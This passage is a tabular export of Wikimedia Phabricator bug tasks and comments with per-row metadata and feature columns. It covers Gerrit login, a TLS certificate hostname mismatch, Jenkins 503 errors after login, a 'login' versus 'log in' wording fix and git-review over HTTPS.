+292245,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,"Even there is no Forgot Password link in the Gerrit login page
+(https://bugzilla.wikimedia.org/show_bug.cgi?id=58205)",,,1394183719,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-acuhlxzybxhkwgljm5tq,task_subcomment,,True,c3,1,False,,,-69,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+64181,www.[langcode].wikipedia.org is not included in the X.509 certificate,"**Author:** `popeno2003`
+
+**Description:**
+Hi I just randomly get to enter this address:
+https://www.fa.wikipedia.org/ 
+and I get ""This Connection is Untrusted"" alert. 
+I have tried the same with English Wikipedia and get the same result.
+so I think it is a problem with all 
+https://www.[ln-code].wiki[pedia|source|...].org 
+connections.
+Is it intentional or just a bug?
+
+Browsers tested with:
+ - Firefox 27.0.1 Linux Ubuntu 12.4
+ - Chromium 32.0.1700.107 Linux Ubuntu 12.04
+
+Best Regards
+
+Pouyan
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=64977",Low,25.0,1393926600,1436203696.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-oglsy2x5mmatgp2fqhm5,task_description,resolved,True,c3,1,False,False,True,-70,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,0
+475860,www.[langcode].wikipedia.org is not included in the X.509 certificate,"It's definitely a WONTFIX sort of thing, but I'm leaving this open for now because those hostnames do exist in our DNS, and should be deprecated and removed.",,,1434484745,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-oglsy2x5mmatgp2fqhm5,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+285009,www.[langcode].wikipedia.org is not included in the X.509 certificate,"These URLs are not included in the certificate, so that triggers the error.
+
+I never saw these URLs. Should these URLs be supported, or should this bug be marked as WONTFIX?",,,1394834184,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-oglsy2x5mmatgp2fqhm5,task_subcomment,,True,c3,1,False,,,-68,True,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+285003,www.[langcode].wikipedia.org is not included in the X.509 certificate,"**popeno2003** wrote:
+
+(In reply to pouyan from comment #0)
+> Hi I just randomly get to enter this address:
+> https://www.fa.wikipedia.org/ 
+> and I get ""This Connection is Untrusted"" alert. 
+> I have tried the same with English Wikipedia and get the same result.
+> so I think it is a problem with all 
+> https://www.[ln-code].wiki[pedia|source|...].org 
+> connections.
+> Is it intentional or just a bug?
+> 
+> Browsers tested with:
+>  - Firefox 27.0.1 Linux Ubuntu 12.4
+>  - Chromium 32.0.1700.107 Linux Ubuntu 12.04
+> 
+> Best Regards
+> 
+> Pouyan
+
+So the error is in firefox:
+(Error code: ssl_error_bad_cert_domain)",,,1393927430,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-oglsy2x5mmatgp2fqhm5,task_subcomment,,True,c3,1,False,,,-70,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,1
+63710,Jenkins: Consistently getting 503 Varnish in response to succesful login,"As of late, when logging in to Jenkins I get a 503 error from Varnish in return (the green wmerror page, much like our php/wmerror one).
+
+https://integration.wikimedia.org/ci/login?from=%2Fci%2F
+
+It only does that for a successful login though, with a wrong password it just shows the login form again with the relevant error message.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Low,25.0,1392937680,1566399419.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-7udvbfwj4m74rreqrolm,task_description,resolved,True,c3,1,True,True,False,-71,True,1,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+1338084,Jenkins: Consistently getting 503 Varnish in response to succesful login, Nope.,,,1566399419,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,3,True,,,215,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+1337749,Jenkins: Consistently getting 503 Varnish in response to succesful login,"At the time I think I encountered the issue a couple time at most. Since 2015 lot of things have changed (Jenkins upgrades, Varnish/vcl changed ..), I don't think this task applies anymore.
+
+@Krinkle do you still encounter those 503 when login to Jenkins?",,,1566373437,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,3,True,,,215,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,0,1,0
+625579,Jenkins: Consistently getting 503 Varnish in response to succesful login,Still happening. Makes logging into Jenkins unnecessarily difficult.,,,1457457865,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,3,True,,,35,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+470479,Jenkins: Consistently getting 503 Varnish in response to succesful login,"Still happening.
+
+https://integration.wikimedia.org/ci/loginError
+
+> If you report this error to the Wikimedia System Administrators, please include the details below.
+>```
+> Request: GET http://integration.wikimedia.org/ci/loginError, from 10.64.0.172 via cp1044 cp1044 ([10.64.0.172]:80), Varnish XID 265195218
+> Forwarded for: 90.220.24.136, 10.64.0.172
+> Error: 503, Service Unavailable at Sun, 07 Jun 2015 17:14:09 GMT
+> ```",,,1433697328,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+470478,Jenkins: Consistently getting 503 Varnish in response to succesful login,"Still happening.
+
+https://integration.wikimedia.org/ci/loginError
+
+> If you report this error to the Wikimedia System Administrators, please include the details below.
+>```
+>Request: GET http://integration.wikimedia.org/ci/loginError, from 10.64.0.172 via cp1044 cp1044 ([10.64.0.172]:80), Varnish XID 265195218
+>Forwarded for: 90.220.24.136, 10.64.0.172
+>Error: 503, Service Unavailable at Sun, 07 Jun 2015 17:14:09 GMT
+```",,,1433697317,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+470477,Jenkins: Consistently getting 503 Varnish in response to succesful login,Still happening.,,,1433697276,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-4,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+287088,Jenkins: Consistently getting 503 Varnish in response to succesful login,The patch got deployed and the misc varnish cache is now instructed to vary by protocol (Vary: X-Forwarded-Proto).  I guess that would solve this bug as well.,,,1393325913,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-71,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+287085,Jenkins: Consistently getting 503 Varnish in response to succesful login,"Err patch is https://gerrit.wikimedia.org/r/#/c/113958/ , will be deployed on monday.",,,1392940672,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-71,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+287082,Jenkins: Consistently getting 503 Varnish in response to succesful login,"Might be related to bug 58279, aka http redirects to https being cached in varnish and cache not varying by protocol.
+
+Patch is https://gerrit.wikimedia.org/r/#/c/114464/ , will be deployed on monday.",,,1392940628,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-71,True,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+287078,Jenkins: Consistently getting 503 Varnish in response to succesful login,"When I manually go back with cache disabled it shows me being logged in though, so it did somehow get through.",,,1392937712,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7udvbfwj4m74rreqrolm,task_subcomment,,True,c3,1,True,,,-71,True,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0
+63093,Login does not work without php5-curl,"Trying to log in with the PhpHttpRequest class rather than curl causes the error ""ssl certificate problem: unable to get local issuer certificate"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1391883180,1484383234.0,PHID-USER-ea6gwat27oulytc5tvsy,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-eia2heond33mbc2eap44,task_description,declined,True,c3,1,False,False,False,-73,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+791550,Login does not work without php5-curl,"From T155291:
+
+> Closing as the Persona service has been shut down. 
+> 
+>>>! From **[Mozilla](https://developer.mozilla.org/en-US/Persona)**:
+>> Persona is no longer actively developed by Mozilla. Mozilla kept operational and security support of the persona.org service until November 2016.
+>> On November 30th, 2016, the persona.org services were shut down.
+> 
+> See also:
+> * <https://developer.mozilla.org/en-US/Persona>
+> * <https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers>
+
+",,,1484383234,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-eia2heond33mbc2eap44,task_subcomment,,True,c3,3,True,,,80,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+62426,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","**Author:** `jonesey95`
+
+**Description:**
+This is a grammar fix. 
+
+In many locations in this extension, the noun ""login"" is used as a verb. It needs to be changed to the verb phrase ""log in"". Examples:
+
+MediaWiki:mobile-frontend-donate-image-login-action (Login to share your media.)
+MediaWiki:mobile-frontend-edit-login-action (Login to edit.)
+MediaWiki:mobile-frontend-generic-login-action (Login to contribute.)
+MediaWiki:mobile-frontend-photo-upload-anon (Please login to add an image to this page.)
+MediaWiki:mobile-frontend-user-cta (Please login or sign up to see your notifications.)
+MediaWiki:mobile-frontend-watchlist-cta-button-login (Login)
+MediaWiki:mobile-frontend-watchlist-login-action (Login to see it.)
+
+Discussion at https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#Mobile_interface_contains_bad_English
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=6138",Low,25.0,1390668780,1390872112.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_description,resolved,True,c3,1,False,False,True,-75,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+290257,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)",I'm a tad confused as earlier today it seemed some messages were still using 'Login' but that doesn't seem to be the case now. I can only assume I was looking at some outdated branch.,,,1390872112,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,True,,,-75,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0
+290247,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","Change 109698 abandoned by Jdlrobson:
+Switch from 'log in' to 'sign in'
+
+Reason:
+The ones that were missing seem to have magically appeared. A little confused but looks like this is done.
+
+https://gerrit.wikimedia.org/r/109698",,,1390871994,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0
+290236,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","According to Kenan (product owner/manager for mobile web), we ought to keep 'log in'. Jon, we should probably just abandon the patchset. I took a quick look through the i18n file an browser tests, I didn't see any other errant instances of 'login', though I may be mistaken.",,,1390871731,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,False,,,-75,True,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+290230,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)",Whatever I'm not fussed either way. That said - there are a few more instances of login that need changing to 'log in' for this bug to be resolved.,,,1390859574,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,True,,,-75,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0
+290225,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","**jonesey95** wrote:
+
+Why would this be changed to ""sign in"" when the regular (non-mobile) site uses ""log in""? I would think that the terminology should be consistent across the site, if only for ease of documentation. 
+
+""Log in"" appears to be the accepted phrase. I believe that ""Sign in"" would introduce inconsistency.",,,1390858403,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0
+290221,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","Change 109698 had a related patch set uploaded by Jdlrobson:
+Switch from 'log in' to 'sign in'
+
+https://gerrit.wikimedia.org/r/109698",,,1390847196,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+290218,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)",This fix is also incomplete...,,,1390847173,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,True,,,-75,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+290215,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)",I see this got lightning fixed but why not change it to sign in - we already use the phrase sign up for the other action. I feel this would be even better...,,,1390764904,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,True,,,-75,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0
+290212,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","Change 109503 merged by jenkins-bot:
+Renamed ""login"" to ""log in"" where it is used as a verb
+
+https://gerrit.wikimedia.org/r/109503",,,1390721560,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+290209,"Change ""login"" to ""log in"" where it is used as a verb (i.e. most places)","Change 109503 had a related patch set uploaded by 01tonythomas:
+Renamed ""login"" to ""log in"" where it is used as a verb
+
+https://gerrit.wikimedia.org/r/109503",,,1390721192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-upb3x5e7c2xntfw4ttq7,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+61865,make git-review support pushing via https,"Currently, its not possible to push to gerrit using https method.
+Since people with internet on which port 29418 is blocked can't access it through ssh, it makes a hard time to contribute, so it would better to have an alternative.
+Also git review doesn't work with https.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Low,25.0,1389265440,1441910991.0,PHID-USER-6gf5fwj6udg2l2zv5amf,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-ws3ztalcyam4dcezou6l,task_description,declined,True,c3,1,False,False,True,-77,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+524613,make git-review support pushing via https,"Per:
+>>! In T61865#630155, @saper wrote:
+> git-review currently relies heavily on gerrit SSH commands to query some information. We sill have some issues to resolve with it. Adding HTTP support would mean a major rewrite.
+> 
+> See also https://bugs.launchpad.net/git-review/+bug/1194718/comments/6 for some background.
+
+
+I am declining this task. The workaround is to not use git-review but instead the git push to refs/heads/for/ as mentioned by @Apsdehal.
+
+If one really want to have git-review to support https, a better place would be in upstream bug tracker.",,,1441910991,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,1,0,1
+273643,make git-review support pushing via https,"I was able to push my change to existing gerrit repo using the command
+git push https://username@gerrit.wikimedia.org/r/mediawiki/extensions/ExtensionName HEAD:refs/changes/[last two digits of gerrit repo no]/repono.
+
+For example:-
+If username:- is foo and extension is UploadWizard and repo no. is 123456 do the following
+
+git push https://foo@gerrit.wikimedia.org/r/mediawiki/extensions/UploadWizard HEAD:refs/changes/56/123456",,,1389770425,,PHID-USER-6gf5fwj6udg2l2zv5amf,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+273637,make git-review support pushing via https,"git-review currently relies heavily on gerrit SSH commands to query some information. We sill have some issues to resolve with it. Adding HTTP support would mean a major rewrite.
+
+See also https://bugs.launchpad.net/git-review/+bug/1194718/comments/6 for some background.
+
+I am pretty sure there was an upstream bug somewhere about it but I can't find it now (daydreaming?)",,,1389642204,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,True,,,-77,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+273633,make git-review support pushing via https,also see https://stackoverflow.com/questions/14320817/how-to-push-change-to-gerrit-server-via-http,,,1389636927,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+273628,make git-review support pushing via https,"Daniel,
+
+Thanks for your concern, I would look upon and check the http push you said and would look into git review to see if I can fix it.",,,1389636050,,PHID-USER-6gf5fwj6udg2l2zv5amf,False,,,PHID-TASK-ws3ztalcyam4dcezou6l,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+273622,make git-review support pushing via https,"apsdehal,
+
+to summarize, because i also wanted to know this and asked around:
+
+you can push via https using the gerrit feature to set a ""http pass"", gerrit would let you do this, git let's you do it, the only problem is that the ""git review"" tool does not support this.  So your workaround is one of:
+
+- don't use git review and use the longer manual git commands instead,
